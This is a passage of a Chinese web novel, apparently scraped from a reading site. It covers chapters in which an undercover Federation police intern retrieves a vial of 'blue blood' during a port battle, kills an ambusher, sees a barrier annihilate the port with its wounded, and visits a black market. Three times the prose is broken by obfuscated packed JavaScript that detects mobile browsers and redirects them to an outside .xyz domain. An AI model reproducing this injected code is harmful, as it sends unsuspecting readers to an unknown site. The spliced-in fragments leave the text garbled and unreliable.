怀疑人工智能在糊弄她。 话音刚落,训练场的门开了,里头走出来两个男人。 唐与扯开笑容,打了声招呼,“原来是老杨,带新人呢?那没事了,我说怎么突然通知设备坏了呢。” 被叫老杨的男人举起手表示见过,没说什么,领着自个的人走了。 目送两个男人走远,唐与才给唱鹿介绍道:“那是特警三队的队长,我们都叫他老杨,你见了他叫声杨队就行。他身边那个和你一样都是新人,但他有赐福,能让力气增大五倍以上,自从入职后,训练场就遭殃了,隔段时间就要维修。” 唱鹿琢磨老杨和唐与见面时的态度,总觉得不像普通同事关系,倒有些针尖对麦芒的意思。 于是说:“杨队……看起来不太好相处。” 唐与解释道:“他是激进派的。” “激进派……?” “整个联邦这么大,总有些意见不同的人。主要分三种,激进派,保守派,和中立党。激进派和保守派冲突最烈,每每有事都会在开会时吵得不可开交。通常是激进派嫌保守派太过激进,保守派嫌激进派过于保守,中立党在旁边吃瓜看戏。” 唱鹿被绕得有点晕,在混乱中抓住重点问道:“那苍队是……?” 唐与说:“我们一队是中立党,基本不发表意见,只看决策行事。但这在其他两派眼中就是墙头草,风往哪儿吹往哪儿倒。老杨看不惯我们,每次见面都摆臭脸,不是针对你个人,你别往心里去。” 这又和唱鹿先前猜测的一致了。 联邦内部果然有持相反意见的党派之争,只是还多了一个看似两边不得罪的中立党。 见她沉默思考,唐与宽慰道:“你不用为这些烦心,我们下面的都是看上头的脸色办事。队长什么立场,我们就什么立场。假如有一天你被派去了其他队,也要及时转变,以保全自身。” “谢谢副队。” “客气了,能进联邦不容易,保住饭碗比什么都重要。走吧,我带你去其他地方看看。” 这一逛就逛到了中午。 唱鹿跟着唐与去食堂吃午饭,了解到转正后职工可以直接向人工智点餐,机器人会准时将餐品送到办公室。 “联邦的福利还挺好。” “等你工龄上来,福利会越来越好。要能干满二十个纪年,还有机会分配到一套商品房,两房一厅带阳台的那种。” 唱鹿笑笑,没说什么。 短暂的午休过后,唐与原本打算带唱鹿去做个全身体检。 才走出休息室的门,人工智能的声音响起:“特警一队副队长唐与,特警一队实习特警闻人嘉,请立刻到第一作战会议室集合。” 早上唐与领她去参观过作战会议室,那是有重大外勤任务时方才会用到的房间。 按常理来说,新人入职第一天,不会安排出外勤。 因而唐与愣了下,“小嘉也要去?” 人工智能答道:“是的。” 唐与投来一个无奈的眼神,说:“最近特警队人手紧缺,不得不把新人也安排上。你跟着我就好,不会让你去做太危险的任务。” 唱鹿点头,“好。” 第一作战会议室在十一楼,在整个分局里占地面积最大、设备最齐全。 唱鹿跟着唐与走进去时,里头已经坐了好几队特警,其中就包括早上见到的特警三队队长老杨和他的队员们。 每个分队都有其相对应的位置,但不是每个队都需要参加这次的会议。 唱鹿飞速扫了眼,到场的有特警一队、三队、五队和六队。 除了一队的队长苍镹之外,其他四个分队的队长都到场了。 她们和本队的队员打了声招呼,唐与让唱鹿挨着她坐下。 这间会议室中间是一张圆环形桌子,每个分队队长的座位就紧贴着桌子,其他队员坐在队长身后。 圆环桌的中间有一个巨大的全息立体投影,会随着会议进程不断切换投影内容。 现在挂在半空中的是整个伽马地区的立体建模,精细程度可以到某条街某条巷某块地砖上,远比民间使用的地图更加全面。 因为苍镹不在,这次会议的主导权落在了特警三队队长老杨身上。 他一上来就直入主题,将四个目标地点提取出来,“N278港口,N279港口,N311港口,以及N314港口。十五分钟前,这四个港口都遭遇了袭击,袭击者疑似是刺鲸逃犯,目的不明。由于犯人使用了爆炸武器,原先镇守在港口的巡警死伤惨重。第一批支援已经过去了,目前正在与犯人交火。从前线传来的战报,可以看出这批犯人是有预谋作案,不管是人手还是武备力量都很充足,一直在使用车轮战的模式,想要耗尽我们的精力。上头想要速战速决,所以需要我们特警部门出马。” 三队有人举手,“队长,敌方有受赐者吗?” 老杨说:“暂时还没发现。” 席间有人发出嘘声。 “但是——”老杨打断这个喝倒彩的声音,“如果你们遇见受赐者,有本事夺取他们手中的魔方。现在规则还没改,在谁手上,就是谁的。” 后面这句话引起了唱鹿的警觉。 意思是联邦内部默认其麾下职员可以夺取他人的魔方? 那句‘现在规则还没改’,十有八九和即将推行的赐福登记制度有关……看来联邦不仅是想对民间流通的魔方进行管制,也想要规范内部的魔方使用。 如果说民间现在的情况是不明所以的混乱。 那联邦内部的情况则是清醒的乱来。 魔方的出现就像一块巨大的石头,猛地砸向伽马地区这股深潭之中。 人们只能看见表面泛起的涟漪,却不知道这块石头沉底后会引发多少蝴蝶效应。 就看在场的几个分队的人,有不少人露出贪婪的神色。 他们都想趁着制度还存在漏洞之时,多从他人手中夺取魔方,为己所用。 也许在此之前,他们已经做过这种事了。 而且是在联邦的保护下。 唱鹿感到一阵不寒而栗。 唐与以为她是在为第一次出外勤感到紧张,还拍了拍她的肩膀。 “一队,N278港口。三队,N279港口。五队,N311港口。六队,N314港口。”分配完任务,老杨的神情变得严肃,“如果没有其他问题,现在就出发!” “是!” 乌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14964762|158533||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 泱泱的一群人涌出第一作战会议室,朝后方的作战更衣室走去。 唱鹿随着人流往前走,突然被唐与抓住手臂,停下来。 唐与说:“小嘉,你要实在紧张,这次就不用去了。你是新人,第一天本来就不该——” “我要去。”唱鹿目光坚定,“唐队,我要去。” 特警一队负责的是N278港口。 上天把这么好的机会送到她面前,她哪有不赶紧抓住的道理。 这声唐队叫得唐与很受用,心中暗喜,“那好,新人这么有干劲,我怎么能泼冷水呢。放心,不会让你涉险的。” “谢谢唐队。” 唱鹿跟在唐与身后,先在女性公共更衣室换上作战服和防弹衣,再进去特警一队的专用武器库。 拿上匕首、手枪,闪光弹、信号弹,还有以防不时之需的微型炸弹。 装备更换齐全后,又随特警一队的其他人前往停机坪,登上专用警车。 警车升空,人工智能传来了最新的战报消息。 车厢的中央展开一个光屏,上面有N278港口的俯瞰平面图。 绿点代表联邦的人,红点代表袭击犯。 从数量对比上来看,联邦的火力已经呈现出压制之势,袭击犯节节败退。 但在此期间,仍有不少绿点从图上消失。 不知道是受伤撤退,还是直接殉职。 唐与观察了一下此时的战况,用手在平面图上点了几下。 她所指之处的区块分别变成了蓝色、橙色,还有紫色。 唐与说:“阿尔法小队去清扫蓝色区域,贝塔小队和欧米伽小队负责橙色和紫色。” 车内众人异口同声道:“明白。” 这样一划分,已经把N278港口近百分之九十的区域都覆盖了。 剩下百分之十,唐与又点了两下。 她指着左边的那一小块,说:“小嘉,你负责这个区域。这个位置都是保险柜,不能通过外力强行打开,否则里面的东西会自动销毁。这些犯人是都是刺鲸的人,他们也知道这里的东西动不得,所以都从其他方向攻进来。这边遇袭的概率很低,但不是没有,你自己也要小心。我就在你隔壁区域,有什么问题要及时联系,我会第一时间赶过去帮你。” 没想到事情会进展得如此顺利,唱鹿按耐住心中雀跃,用力点了点头。 警车正在空中高速飞行。 从窗户往外看去,市区密集的钢铁建筑群就在脚下,如同微缩模型般。 现在车内都是特警一队的人,气氛明显比在开会时要活跃得多。 一个抱着狙击枪的男生说:“副队,队长还没回来吗?” 坐在他身侧的女人翻了个白眼,“队长是去福音地区开大会,不是下楼去吃饭。早上才走,你现在就问,真以为一个小时能来回啊?” 男生做了个鬼脸,不说话了。 另一个年岁稍大些的男人说:“看来制度改革是势在必行了。” “我们倒是没什么,最不高兴的应该是三队那群人。”女人接话道,“他们向来又争又抢,等上头一纸明文颁发下来,估计会气得睡不着,大半夜起来捶沙包。” 其他人都笑了。 唱鹿还听不太懂,“队长去了福音地区……开大会?” 对她这个问题,大家都表现出理解。 新来的嘛,什么都不懂,也好奇。 不等唐与解释,女人抢先开口,“你别看我们苍队只是一个特警分队的队长,她在联邦的话语权可是数一数二的。上头要推行新制度,据说隔壁两个地区也有这个想法,于是上头就派队长过去探探口风,也许三个地区就联手改革了呢。” 39. 结界 039. 警车在N278港口偏西的一块空地降落。 一下车,一股非常刺鼻的火药味冲入鼻腔,再看周遭的情景—— 被炸飞的铁皮,冲上云霄的火舌,不知从何处冒起的黑色浓烟。 到处可见爆破后残留的大坑,满是脚印与黑灰的地上拖着长长的血迹。 负伤的警员躲在只有半截的集装箱旁,断手断脚成了常态,还有的丢了一只眼珠子。 现下正是战局关键时刻,军医还没抵达战场,没人腾得出手去救治他们。 N278港口已然成了人间炼狱。 唱鹿正为眼前的景象吃惊,远处突然传来轰的一声巨响。 整个港口都随之震动,她在摇摆中险些没站稳。 距离最近的一名伤员正准备往伤腿上扎一支愈合剂。 爆炸带来的震感晃得他没法握紧右手,愈合剂掉在地上滚出了老远。 伤员气得怒骂:“(脏话消音)!这群、(脏话消音)的刺鲸混蛋!” 震感一缓和,其他队友立即前往各自负责的区域。 唱鹿捡起那只愈合剂,小跑回伤员身边。 他的右腿被流弹的碎片穿透,伤口血肉模糊。 情况很糟,必须通过手术把碎片取出来才行。 唱鹿拿出作战服里的备用绷带,快速帮他包扎,又说:“流弹碎片还在你的伤口里,打愈合剂只会让伤口恶化。你坚持住,军医马上就会来。” “谢谢你。”伤员全身脏兮兮,脑门还在淌血,“你要小心,这群人简直不要命……” 这边忙完,后头又有人在低吟,“救……救救我……” 唱鹿正想过去,还没走出几步,被唐与拽住。 她亲眼目睹了唱鹿是如何给伤员包扎的,内心毫无波动。 唐与冷声道:“先完成任务。” 唱鹿往喊救命的那头看了眼,唐与见状彻底拉下脸,“小嘉,你要记住,我们没办法拯救所有人。” 这句话如同一记当头棒喝。 敲得她有点迷惘,又隐隐懂得了什么。 唱鹿垂下眼眸,“我明白了。” 联邦麾下,皆是棋子。 该用则用,该弃则弃。 唐与的脸色缓和,“明白就好。” 她还想说些什么宽慰一下这个善良的新人,到底还是没说,只道:“去吧。” - 唐与给新人安排的区域是东1仓至东20仓。 唱鹿大可以直奔东11仓,找到2173647号保险柜,取走里面的蓝血,再找机会溜走。 可她还是选择从东1仓开始,逐一进行排查。 唐与的确关照她,枪林弹雨离这里很远。 唱鹿一路搜下来也没有遇见可疑人员,只发现一个死去的巡警躺在东4仓门口。 看这人倒下的姿势,应当是受伤后想要躲进仓库里避难,可惜伤势太重,没进门就咽气了。 唱鹿在尸体旁做了个标记。 善后组会根据标记定位到这里,将尸体带回去安葬。 随着时间推移,枪击声减少,爆破也不再频繁。 特警的加入似乎让整个N278港口的战况开始扭转。 唱鹿默默加快了排查脚步。 她想要在战火停息前找到保险柜,结束这场令人烦躁的伪装潜入。 东11仓。 编号2173647的保险柜。 东11仓。 编号2173647…… 到了。 唱鹿在门前抬起头,墙上挂着‘东11仓’的标牌。 这些仓库原本大门紧锁,里头还有红外线防盗。 自从联邦接管港口后,所有仓库的防盗设备都被拆除,连大门都卸了。 刺鲸的保险柜就在仓库里。 它们按照序号整齐地排列着,每个箱子都贵重金属制成,右上角刻着独立编码。 表面看不出特殊,一旦强拆便会激活自毁装置,马虎不得。 2173644, 2173645, 2173646, 2173647! 生怕找错保险柜,唱鹿用手抚摸右上角的编码,再确认一遍。 2、1、7、3、6、4、7。 是这个没错。 她连忙掏出挂在脖子上的钥匙,把那枚铃铛对准锁扣的位置。 放入,旋转。 “嗒!” 锁开了。 打开柜门,保险柜内平躺着一个木制盒子。 盒子没有锁扣,可以直接掀开。 木盒底部垫了一层白羊绒,羊绒之上是一管蓝血。 原以为这一趟会艰难重重,少则半个月,长则一年,没想到第一天就得手了。 唱鹿大喜过望,正想把蓝血装进口袋里。 突然听到身后有奇怪的动静,似乎是一阵呼啸而过的风。 唱鹿立马合上柜门,警惕地扭过头。 下一秒,枪口抵住了她的后脑勺。 “我的赐福很不错,对吧?”不速之客问道,语气颇为得意。 唱鹿没有回答,悄悄用余光斜向保险柜的金属柜门。 门上倒映出一个模糊的影子。 那人同样穿着联邦的制服,右手举枪对准她的脑袋,左手正在她腰间摸索。 不一会儿,匕首和信号弹被丢在地上,两把枪和闪光弹被搜刮走。 不速之客发出嘿嘿的笑声,想来是很满意这一趟的收获。 还不够,他把左手伸到唱鹿的耳朵边,大声喝道:“把那管蓝血给我!” 唱鹿没有动。 “只要你把蓝血给我,我可以不向上头举报你。”说着,这人还使劲怼了怼枪口。 “举报?”唱鹿觉得好笑,“你又不是联邦的人。” 不速之客先是一愣,咧嘴笑起来,“你后脑勺长眼睛了?哪只眼睛看出我不是联邦的人?” 唱鹿平静道:“你右手的手背有纹身,联邦不招有纹身的人。” “哟,你挺聪明嘛。”那人说,“那我就直说了,老子是刺鲸的。” “你也不是刺鲸的人。” “哈,刺鲸也不招有纹身的人?” “你问我,说明你也不知道。你不知道,又怎么可能是刺鲸的人?” 不速之客怒了,“你(脏话消音)敢耍我!” 他动动拇指,给子弹上膛,“少废话,把蓝血给我!不然我一枪崩——” 先是心口一凉,旋即右手也没了知觉。 不速之客睁大双眼,满是不可思议地看着自己右手臂。 他的右臂从肘部位置就被切断了,右手掉在地上,还握着那把枪。 胸膛的剧痛让他低下头,却见一柄锐利无比、通体漆黑的剑直插进心赃,剑柄就握在那个女人手里。 “我……你……” 他还想说话,唱鹿不给机会,猛地把剑拔出来。 温热的鲜血喷溅到唱鹿脸上,她漠然注视着偷袭者倒在脚边。 他的瞳仁瞪到最大,还紧紧盯着她手里的剑,嘴巴不断蠕动,似是不甘心,要问这清除把剑到底是哪里来的。 “哦,你说这个啊?”唱鹿举起剑端详。 说是剑,其实是她的领带。 对方确实卸掉了她身上所有武器,但不好意思,唱鹿最不缺的就是武器。 她对着即将咽气的男人,微微一笑。 “我的赐福很不错,对吧?” 男人死了。 两眼望着天花板,躺在血泊里。 唱鹿搜刮了下尸体,没发现魔方,看来是已经和男人融合了。 罢了,她拍拍手。 现在没空剖尸,想办法逃出去要紧。 唱鹿把蓝血装进口袋里,弓着身子溜出东11仓。 岂料刚迈出大门,轰炸开始了。 “轰!” “轰!” “轰!” 连续三次爆破声,引起晃动得如同地震。 唱鹿根本无法站稳,两手撑地跪着,领带剑不知道被甩去了哪里。 还不停,还在轰炸。 一下比一下接近! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14969382|158533||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不行,必须赶紧逃。 这种规模的轰炸,再小的蚂蚁都逃不掉。 她扶着墙壁,好不容易爬起身,听到身后有什么东西在响。 “滴、滴、滴。” 是炸弹! 唱鹿跑出了二十一年来最快的速度。 三。 二。 一。 伴随着引爆声,一块钢筋朝她飞过来。 唱鹿本能地朝前一扑,卧倒在地。 热浪灼烧后背着皮肤,几乎要把她烫伤。 耳鸣随之而来,眼睛被浓烟熏得刺痛,整个脑子里都是杂乱无章的响声。 好像……有警车的引擎声。 唱鹿眯起眼睛,使劲抬头往天上看。 空中的警车打开了侧门,一个英姿飒爽的女人脚踩在车门边缘。 她皱着眉头解开披风往后抛,然后抓紧绳索,也不顾港口腾起的浓烟有多么刺眼呛鼻,直接跳了下来。 居然是苍镹! 她一落地,身侧便浮现出一黑一白两个亮光小球。 小球以肉眼难以捕捉的速度飞出去,又飞回主人身侧。 那些藏匿在暗处的狙击手,正偷偷放置炸弹的人……小球一来一去,直接穿透了他们的心脏。 苍镹踱步朝前走,两颗光球便不断地往前清扫。 神奇的是它们会自觉绕开自己人,只杀袭击港口的犯人。 极其霸道,又极其诡异。 “小嘉!”有人在喊她。 唱鹿闻声望去,是唐与。 她站在一辆还没升空的警车旁,焦急地冲唱鹿招手,“快过来!快!” 唱鹿赶忙爬起来,踉踉跄跄地往警车跑去。 一上车,唐与立即把门关上,“起飞!” 警车悬浮升到高空,发动引擎冲出战场,将那一阵阵从未停歇的爆炸声甩在后头。 唱鹿坐在车里惊魂未定,下意识环视车厢一圈。 特警一队的人都在,无一不是灰头土脸,所幸没有伤亡。 车窗外不断有其他警车飞过去。 明眼人都看得出来这是打不过在撤退了。 唱鹿想起苍镹还没上车,“队长……” 唐与握住她的手,好像是在安慰,可说出的话又是另一个意思,“上头的指示是一个不留。” 她不懂。 不是在撤离吗,怎么一个不留? 天空在此刻突然变暗。 可随着警车朝前飞行,又亮起来了。 一瞬间的变化让唱鹿生出一种强烈的不安感。 她透过车窗往后方望去,震惊得瞳仁止不住地颤动。 整个N278港口都被笼罩在一个半圆形的结界里,就好像有人拿碗倒扣在上面。 结界一半是黯淡的黑,另一半是刺眼的白。 所有警车都在以最快的速度飞出结界。 的确是在撤离,也是在逃命。 最后一辆警车飞出的刹那,结界里闪过一道怪异的光芒。 黑白交融在一起,灰色吞没万物。 直至万籁俱寂。 十几秒后,灰色如云烟般褪去,结界消失了。 没有火舌,没有浓烟,更没有炸弹。 原本战火纷飞的N278港口变成了一座没有任何生命迹象的坟墓。 一个不留。 真的是,什么都不留。 “这招叫往生极乐。”唐与说,“一旦发动,结界内所有东西都会化作齑粉。” 唱鹿的大脑里一片空白。 这招用来对付敌人无可厚非,可港口还有…… “那些伤员呢?”唱鹿眼前掠过大腿中弹的男人的脸,他还提醒她一定要小心,“他们来得及逃走吗?” 唐与闔眼不语。 一个不留。 上头的指示是一个不留…… 不留敌人,也不留伤兵。 唱鹿呼吸都变得沉重了。 大家都默默低下头,没人敢和她对视。 只有先前那个爱说话的女人冷笑了下,“不然你以为怎么叫往生极乐?” 40. 黑市 040. “小嘉,你要是还觉得心理不舒服——” “我没事。”唱鹿勉强扯动嘴角,想笑却笑不出来。 她和唐与正站在小区门口。 自港口回到分局,医生检查发现唱鹿的后背有点烧伤外,其他一切都好。 但唐与认为她只是外表没事,心理肯定出问题了,坚持要送她回家。 说完全没问题,必然是撒谎。 也没有唐与想得那么严重。 唱鹿在社会上摸爬滚打十多年,早对联邦的行事风格有所耳闻。 耳闻归耳闻,亲眼见到后委实是大吃一惊。 唐与宽慰道:“你放心,特警身份比普通巡警高,凡事都会优先考虑我们。而且你今天表现不错,保持下去很快就能转正,我看好你。” 唱鹿不知道该作何回答,敷衍地点点头。 见鼓励没什么效果,唐与抬手扶了下眼镜,意味深长道:“你想加入联邦,就做好心理准备。我知道很难,但世界就是这么运转的,懂吗?” “懂。” “那好,你先回去休息,明天见。” 唐与驾车离开。 唱鹿目送她消失在天际,心里只有一个想法: 我讨厌联邦。 - 回到闻人嘉的家中。 唱鹿卸掉全身伪装,又将生活痕迹清理干净,最后打开扫描仪,把整个屋子扫瞄一遍,确保没有遗漏的细节。 一切搞定后,她给老板娘发了个简讯。 老板娘回得很快,表示今晚就把闻人嘉送回来,她将会在自己的床上醒来,以为自己做了场很久的梦。 唱鹿通过窗户翻墙离开。 她避开小区的所有监控,找了个隐蔽无人的位置,掀开下水道盖子跳了进去。 路走到一半,才想起要给扶鸢通个气。 于是打了个电话过去,扶鸢秒接。 “到手了。” “真的是蓝血?” “嗯,不过在使用之前得先拿去检测。” “检测?” 扶鸢一如既往地有许多地方不明白,可唱鹿现在不想解释,“晚上再说。他怎么样?” 这个他是指游隼。 唱鹿把他关在了废弃造船厂的地下室里,由扶鸢看守。 “能吃能喝能睡,情绪很稳定。” “那就好。” “唱鹿,我……” 她还想说什么,唱鹿不给机会,直接打断,“我给你发个坐标,八点左右碰头。先这样,挂了。” * 今晚碰头地方是伽马地区最大的黑市。 这里早上是一条平平无奇的步行街,有人卖花,有人卖鸟。 晚上则摇身一变成为黑市。 街边摆摊的都是带着专业伪装面具的人,卖的东西大多是不能见光的违禁品。 联邦偶而会派人来清剿。 但大部分时候都是睁一只眼闭一只眼。 原本说好八点碰头,唱鹿闲着没事,提前到了。 她在黑市里乱逛。 这边看看,那边看看。 黑市里最吸引她的当属一张改造过的喷气滑板。 卖家很会吹牛,说这张滑板飞起来,堪比联邦的警车。同时也很黑心,要价高达十七万通用币。 其他就没什么新鲜的了。 基本是从其他两个地区走私而来的水货,要价比市面上便宜得多,可惜质量没有保证。 唱鹿正欲往深处走,有人拍了下她的肩膀。 她第一反应是去摸腰间的匕首,那人赶紧后退并说:“你要把我脑袋削了,以后谁给你治伤。” 哦,是庸医。 唱鹿把匕首挂回暗扣上,“以后别偷偷摸摸从背后靠近我。” “我下次一定注意。”庸医嬉皮笑脸,“我可不想脑袋搬家。” 唱鹿扫了她一眼,继续往前走。 庸医厚着脸皮跟了上来,她压低嗓音问:“拘在你哪里的人,放回去了?” “你一通知,我就放人了。我做事,你放心。” “那就好。” 两人经过一个贩卖异兽头骨的小摊。 庸医和卖家讨价还价大半天,最后砍了个半价,欢天喜地把头骨夹在腋下,再度追上唱鹿的步伐。 所谓异兽,其实就是变异了的动物。 变异原因未知,但模样都会大变,性格变得更加凶残嗜血。 变异后的大川就很像一头异兽。 想起大川,唱鹿问道:“你上回说的那个小发现,现在有定论了吗?” 前几天她把淮娜送去地下诊所时,庸医提过在大川的尸体上解剖出了一种不属于正常生物的微小细胞。 “有,但说起来你可能不信。” 庸医扯了下唱鹿的胳膊,让她把耳朵靠过来,又用手挡着嘴巴,才敢小小声道:“那种细胞和异种身上的一模一样。” 唱鹿不懂生物学,第一反应是异种进化出了感染性。 庸医否认了这种想法,“不是感染,是他自己长出来的。就好比你受了伤,你的细胞会自动修复伤口。他受了伤,额外长出了这些细胞,也在帮他修复伤口。” “所以大川变成了异种?”唱鹿很难相信这件事。 她见过变异后的大川,模样的确可怖,但远比海底那些东西美观得多。 “准确讲,他变异成了一种和异种有着差不多基因结构的全新生物。这种变化是由内而外的。通过解剖,我发现在整个异变过程中,他的细胞还不断地遭受某种刺激,这导致异变速度更快更凶猛。” 唱鹿沉吟片刻,“我想我知道为什么。” [魔方·拟造]与大川的融合,是异变的开始。 而[魔方·临危]和[魔方·拟造]的相互排斥,便是刺激细胞加速变异的原因。 说到底,还是因为魔方。 她把两块魔方的事告诉庸医。 庸医颔首,摸着下巴道:“我的猜测是对的。哎,是时候采集一下我自己的细胞样本了。” 唱鹿吃惊,“你的魔方也……” “已经融合了。”庸医摊手,摆出一副无所畏惧的姿态,“如果我有一天也变成怪物,记得用我给你的那枚子弹,对准心脏。” “我可能会射偏。” “那你先提前练习练习。” 两人对视。 唱鹿的表情看得出内心的无语。 就这庸医还非要补上一句,“对了,我的心脏长在右边。” “你认真的?” “开个玩笑。” “……” 现在唱鹿是真的很想给她一枪。 “我听老板娘说,你最近动作不少。没受伤吧?”庸医关心道。 “托你洪福,一切安好。” “你的另外半条命呢?” 唱鹿斜睨她,“什么时候发现的?” “动手术时就发现了。”庸医说,“很少有人濒死得这么同步,我很难不注意到。” 唱鹿轻哂,“太过聪明的人一般都活不久。” 话时一个回眸,发现庸医正在尝试把异兽的头骨套到脑袋上。 然后就卡住了。 庸医:“啊,你说什么?我卡在头骨里了,听不清。” 唱鹿:“……我收回那句话。” 马上八点,扶鸢差不多也快到了。 唱鹿完全不顾庸医在身后的求救,径直往黑市门口走。 走到一半,发现有个小摊正在售卖蓝血。 唱鹿不自觉停下脚步,庸医追了上来。 看她专注的神情,庸医猜测道:“有兴趣?” 唱鹿不答反问:“你是不是又想说什么怪话。” “我是那样的人吗?” “你不是吗?” “好吧,我是。” 庸医没皮没脸地承认,“但我还是想说,我除了行医救人之外,还是个很优秀的引路人。” 引路人,是入梦的关键角色。 引路人负责将客人带入梦境,其地位相当于出海时的舵手。 “你的优秀是指能让人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14975504|158533||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在梦境里无知无觉死于非命吗?” “你很了解我。” “彼此彼此。” “人们都只能看到赐福带来的便利,不想蜜糖也可能是砒霜。”庸医感慨道,“有需要可以喊我,我随时待命。” 两人正说话,扶鸢到了。 唱鹿拽住拔腿要溜的庸医,“先别走,给我介绍个信得过的鉴定师。” - 离开黑市,跨过一条街。 庸医领着两人进了一家不起眼的花店。 花店老板就是庸医口中的鉴定师。 交出蓝血后,三个人在店里坐了半个小时,花店老板从里间出来。 她把蓝血还给唱鹿,“这管蓝血的品质很好,也已经构造过了,可以直接使用。只可惜,它的密度很低,最多只能再用一次。” “这管蓝血被使用过很多次了?”唱鹿握着蓝血,心有疑惑。 “我的鉴定结果显示,这管蓝血是人工泡沫凝固而成的,制作时间至少在十年前。这么多年过去,即便不被使用,蓝血自身也会稀释。” “好,我明白了。” 付完鉴定费用,三人走出花店。 唱鹿还在思考花店老板的话。 这管蓝血只能用一次。 换言之,如果蓝血里藏有什么秘密,或者是风铃留下了什么线索,那么她们有且仅有一次机会去寻找。 “你说你是引路人,那你应该有入梦装置,对吧?”唱鹿再次逮住脚底抹油要跑的庸医。 庸医抱着异兽头骨,无辜地看着她。 没有否认,那便是承认。 唱鹿:“多少钱?” 入梦不在她们的谈好的合作条件里,该给的钱还是要给。 “看在我们是合作关系——”庸医打手势,“市价给你打八折。” “可以。” “那我回去准备一下,明晚见。” 庸医走了。 唱鹿转头就给地菩萨致电。 按照出海前签订的合同,唱鹿这次入梦的费用必须由地菩萨全额承担。 地菩萨爽快答应。 通话结束,一直默不作声的扶鸢终于开口道:“具体要花费多少?我的那部分,我得自己承担。” 唱鹿心算了下,“两万差不多了。” 上次出海,地菩萨各自给了她们六万通用币作为报酬。 拿出两万买入梦门票,不算多。 * 入梦时间定在明晚,今夜暂时没有其他事要忙。 回到家,洗完澡。 唱鹿躺在床上,望着天花板发呆。 她有一种侵入骨髓的疲惫感,自从觉醒之后…… 不,应该是参与N278港口的大型押镖之后,事情接二连三地发生。 可经历了这么多,系统颁发给她的两个任务却毫无进展。 [主线任务:寻找风铃。] [任务进展:1%] [支线任务:调查刺鲸] [任务进展:1%] 选择接受时是1%,这么多天过去依旧是1%。 唱鹿都怀疑是不是调查方向搞错了。 她闭上眼睛。 默默复盘这段时间发生过的事。 暮烟…… 出海…… 母体…… 游隼…… N278港□□炸…… 的确漏了一件事。 她把手伸到枕头下,摸出藏在下面的[魔方·洞悉]。 [魔方·拟造]和[魔方·洞悉]之间有一股强烈的吸引力。 远比之前感受到都要强。 那么Afkth和Ivvts可以暂定为友善。 不,应该是十分友善。 这些小东西真是越来越有活人感了。 思绪如同车轮般不断滚动。 她正琢磨着[魔方·洞悉]的使用方法,[魔方·拟造]突然闪了一下。 它开始融化。 如同烈日下的冰块,一点一点地沉入唱鹿的手心。 41. 邀请 041. 未知时间,未知地点。 似是身处一场遥远的幻梦之中。 她在奔跑。 赤脚在一片开满小花的草原上狂奔,徐徐微风拂面而来,将她的斗篷吹得扬起。 她完全不觉得累,越跑越快,几乎要化作一阵风,刮向那棵极其粗壮又高耸入云的大树。 大树下有一扇门,她跑着推门而入,大喊道:“阿法!” 阿法是昵称,全名其实是阿法卡腾。 这里是树洞图书馆。 巨树的内部被挖空并雕成了一排排的书架,书架上的书有上百万本,里头记载着寰宇的奥秘。 长短不一的秋千从大树的顶端垂下来,落在书架前。 阿法卡腾就坐在秋千上,手里捧着一本厚重的古书,垂眸阅读。 “你回来了,伊维斯。”阿法卡腾说,“这次又去了哪里?” “东边!”她昂起头,望向秋千上被柔光包围的影子,“我看到了月光树,梦境石,还有剪翼古龙。它们的蛋好小,还没我的巴掌大。我在东边的黑焰岩底种下了一颗巨树种子,数千年后就能发芽了。” 阿法卡腾轻轻合上古书,“伊维斯,那颗种子不会发芽了。” 她不明白,“为什么?” “再过数千年,灵气就会消散。” “消散后呢?” 阿法卡腾没有立即回答,而是伸出手。 手上凭空出现了许多东西,有等比例缩小版的月光树、梦境石,还有活灵活现的剪翼古龙,朝她飞过来。 “等到灵气消散,我就无法像现在这样,凭意识拟造出各种东西。”阿法卡腾叹息,“你见到的那些景致也会消失。” “那我们呢?” “我们会离开,届时每一个人体验会圆满,留下不再有意义。” 她有点不高兴,“可我很喜欢这里。” “我们随时可以回来。” “一切都消失了,回来也没有意义。” “伊维斯,能量是守恒的。没有真正的消失,只是换了一种形态继续存在。”阿法卡腾耐心地解释道,“会有人留下的,必须有人守护……” 谁会留下? 又要守护什么? 清晰的幻梦开始蜕变成迷幻的呓语。 那种黏稠的恶心感又来了。 唱鹿猛然睁开眼睛。 熟悉的天花板,熟悉的家具,熟悉的床。 现在是凌晨三点。 她从一场奇异的幻梦中惊醒。 - 一直熬到天亮,唱鹿都没有再闭眼。 她曾经尝试再小睡片刻,可只要合上双眼,那些躲在暗处的低语声就会扑上来,缠绕在她身边。 唱鹿一度怀疑自己也开始异变了。 好在镜子里映出的那张脸还是老样子,发色也没有丝毫改变。 